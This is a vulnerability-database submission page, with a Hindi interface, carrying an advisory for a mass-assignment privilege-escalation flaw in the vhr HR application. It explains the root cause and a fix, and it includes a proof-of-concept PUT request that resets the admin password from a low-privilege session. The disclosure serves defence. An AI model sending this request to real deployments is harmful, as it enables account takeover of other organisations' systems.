जमा करें #892904: lenve vhr 1.0-SNAPSHOT Improper Input Validationजानकारी

शीर्षकlenve vhr 1.0-SNAPSHOT Improper Input Validation
विवरणvhr(微人事) — Mass Assignment Privilege Escalation via PUT /hr/info (VHR-VULN-001) Product: vhr(微人事) 1.0-SNAPSHOT CWE: CWE-915 / CWE-269 Classification: Improper Input Validation === ROOT CAUSE === `HrInfoController.updateHr()` binds request JSON to `Hr` without ownership check. `HrMapper.xml` updates `password` when present. === REPRODUCTION === Low-privilege user `libai` can PUT `/hr/info` with another user's `id` and set `password` to a self-generated BCrypt hash, resetting admin credentials. PoC: PUT /hr/info HTTP/1.1 Host: TARGET Content-Type: application/json Cookie: JSESSIONID=SESSION_LIBAI Connection: close {"id":3,"password":"$2a$10$BCryptHashHere","enabled":true,"username":"admin"} Expected: {"status":200,"msg":"更新成功!"} — then admin login with new password === IMPACT === Vertical privilege escalation to ROLE_admin without prior admin access. === FIX === Bind updates to session user id; forbid password/username/enabled via this endpoint.
स्रोत⚠️ https://github.com/ArrestX/vhr-advisories/blob/main/advisories/VHR-VULN-001-mass-assignment-privesc.md
उपयोगकर्ता
 Anonymous User
सबमिशन16/07/2026 01:54 PM (2 महीनों पहले)
संयम12/09/2026 10:24 AM (2 months later)
स्थितिस्वीकृत
VulDB प्रविष्टि403089 [lenve vhr 1.0-SNAPSHOT HrMapper.xml HrInfoController.updateHr पासवर्ड अधिकार वृद्धि]
अंक20

Might our Artificial Intelligence support you?

Check our Alexa App!